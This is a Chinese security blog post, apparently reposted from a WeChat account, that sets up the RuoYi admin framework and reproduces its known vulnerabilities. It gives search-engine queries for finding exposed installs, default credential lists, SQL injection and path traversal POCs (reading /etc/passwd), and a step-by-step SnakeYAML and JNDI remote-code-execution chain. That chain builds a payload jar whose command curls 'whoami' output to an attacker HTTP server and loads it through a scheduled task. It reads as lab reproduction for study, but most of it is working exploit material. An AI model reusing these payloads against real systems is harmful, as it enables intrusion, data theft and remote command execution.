免责声明
由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号陌笙不太懂安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢!
前言
前面是环境搭建,漏洞复现看后面。太长了,分两篇写。
系统简介
Ruoyi(若依)是一款基于Spring Boot和Vue.js开发的快速开发平台。它提供了许多常见的后台管理系统所需的功能和组件,包括权限管理、定时任务、代码生成、日志管理等。Ruoyi的目标是帮助开发者快速搭建后台管理系统,提高开发效率。
若依有很多版本,其中使用最多的是:
- Ruoyi单应用版本(RuoYi)
- Ruoyi前后端分离版本(RuoYi-Vue)
- Ruoyi微服务版本(RuoYi-Cloud)
- Ruoyi移动版本(RuoYi-App)
配合ruoyi的服务
- alibaba druid
- alibaba nacos
- spring
- redis
- mysql
- minio
- fastjson
- shiro
- swagger-ui.html
- mybatis
环境搭建
源码下载
https://gitee.com/y_project/RuoYi/tags
基本配置
IDEA + 配置Maven + mysql + 若依源码v4.5
navicat连接本地数据库,创建数据库ry,然后运行数据库文件
创建数据库
运行sql文件
导入sql数据库成功之后,有这些内容就是成功了。
修改若依配置文件中的MySQL数据库的账号密码。
使用idea启动若依项目即可,若依服务启动后默认在本地的80端口。
启动成功
出现问题看这个,我主要也是看这个文章复现的:
https://windeskybb.work/archives/
若依框架特征
新版本的若依系统的cookie值是Admin-Token值且是JWT编码的,右边的是老版本的,就是jsessionid值。
/prod-api接口,其实看若依系统多的师傅们都这到这个接口就是若依框架的常见的一个关键字接口。
资产测绘
fofa
1 | 黑若依: icon_hash="-1231872293" |
hunter
1 | web.body="若依后台管理系统" |
漏洞一:弱口令&未授权
常见用户名:
- admin
- ruoyi
- druid
- ry
常见密码:
- 123456
- admin
- druid
- admin123
- admin888
常见组合:
- admin:admin123
- ry:admin123
常见页面:
后台:
若依系统最经典的加载界面:
这种绿色的ico,蓝色的ico都是若依:
如果没有这个ico,可以看接口,有可能是被魔改了,这两个接口是若依的特征:
若依和Spring-Boot结合漏洞
1 | /druid/index.html |
直接未授权:
登录框:
口令一般是:
- admin/123456
- ruoyi/123456
- druid/druid
Swagger接口:
1 | /swagger/ |
可以使用插件探测:
也可以直接使用曾哥的工具:
漏洞二:SQL注入漏洞
(注意:后阶段所有操作都需要修改登录后的JSESSIONID值)
都是POST请求方式
第一个sql注入点:角色管理
在 /system/role/list 接口的 params[dataScope] 参数
进入后台后,拦截角色管理页面的请求包:
POC
1 | POST /system/role/list |
空参构造包发包
1 | POST /system/role/list |
第二个sql注入点:角色修改接口
POC
1 | POST /system/dept/edit |
第三个sql注入点:角色导出处
POC
1 | POST /system/role/export |
RuoYi 4.7.5版本后台sql注入
ruoyi-4.7.5 后台 com/ruoyi/generator/controller/GenController 下 /tool/gen/createTable 路由存在sql注入。
POC:
1 | sql=CREATE table ss1 as SELECT/**/* FROM sys_job WHERE 1=1 union/**/SELECT/**/extractvalue(1,concat(0x7e,(select/**/version()),0x7e)) |
漏洞三:后台任意文件读取(CNVD-2021-01931)
漏洞简介
若依管理系统是基于springboot的权限管理系统,登录后台后可以读取服务器上的任意文件。
影响版本:RuoYi < 4.5.1
漏洞复现
POC:
1 | /common/download/resource?resource=/profile/../../../../etc/passwd |
1 | http://127.0.0.1/common/download/resource?resource=/profile/../../../../Windows/win.ini |
漏洞四:后台定时任务RCE (Snake Yaml反序列化)
漏洞简介
RuoYi < 4.6.2
由于若依后台计划任务处,对于传入的”调用目标字符串”没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。
影响版本:RuoYi < 4.6.2
通常只要引用了Snakeyaml包的几乎都可进行反序列化,可查看代码是否调用 new Yaml();
(ruoyi-common-pom.xml)
下载yaml反序列化payload工具:
该工具是通过 org.yaml.snakeyaml.Yaml 类来加载远程的类,通过远程类重写 AwesomeScriptEngineFactory 类,以此来达到执行远程恶意命令的目的。
下载完工具后将 src/artsploit/AwesomeScriptEngineFactory.java 文件中的Runtime执行语句改为你要执行的命令:
地址为启动任意启动的http服务,或者dnslog都可(主要用于命令回显)。除此之外,我们需要使用 $() 命令替换,用于命令回显,因此我们改写一下命令执行函数。
漏洞复现
下载payload:https://github.com/artsploit/yaml-payload
下载完成之后修改 AwesomeScriptEngineFactory.java 这个文件:
eg: curl http://192.168.91.129:7000?CMDEcho=$(whoami)
地址为启动任意启动的http服务,或者dnslog都可(主要用于命令回显)。除此之外,我们需要使用 $() 命令替换,用于命令回显,因此我们改写一下命令执行函数。改写方法如下:
1 | String[] cmd = { |
然后切换到yaml-payload-master目录,编写 yaml-payload.yml 文件(如果没有自己创建):
1 | !!javax.script.ScriptEngineManager [ |
(此处IP替换为VPS或需要反弹shell的ip和端口)
然后在该目录下执行以下命令进行编译(java环境使用的是1.8):
1 | javac src/artsploit/AwesomeScriptEngineFactory.java //编译java文件 |
然后就会生成一个 yaml-payload.jar 的jar包,直接在yaml-payload-master目录下使用python起一个http服务。
1 | python -m http.server 5555 --bind 0.0.0.0 |
1 | http://192.168.10.17:5555/yaml-payload.jar |
然后进入若依后台,添加一个计划任务。
出网探测
1 | org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://DNSLOG"]]]]') |
exp:
1 | org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.10.17:5555/yaml-payload.jar"]]]]') |
cron表达式说明
1 | cron表达式:0/10 * * * * ? |
这个cron就跟linux定时任务一样,定义每天/每周/等,定时启动的时间。
分解表达式:0/10 * * * * ?
- 格式:秒 分 时 日 月 星期 [年(可选)]
- 秒
0/10— 从 0 秒开始,每 10 秒执行一次(0,10,20,30,40,50 秒) - 分
*— 每分钟 - 时
*— 每小时 - 日
*— 每天 - 月
*— 每月 - 星期
?— 不指定星期(通常与日期字段冲突时使用 ? 表示忽略) - 年 没有指定(所以每年)
配置好之后,并不会启动定时任务:
推荐使用工具
https://github.com/Bl0omZ/JNDIEXP
1 | java -jar JNDIInject-1.2-SNAPSHOT.jar -i xxx.xxx.xxx.xxx |
1 | PS C:\Users\xuSheng\Desktop\若依> java -jar .\JNDIInject-1.2-SNAPSHOT.jar -i 0.0.0.0 -p 9090 |
使用这个更简单:
1 | javax.naming.InitialContext.lookup('ldap://10.165.132.209:1389/snakeyaml/http://10.165.132.209:9090/exp.jar') |
文章转载自微信公众号:陌笙不太懂安全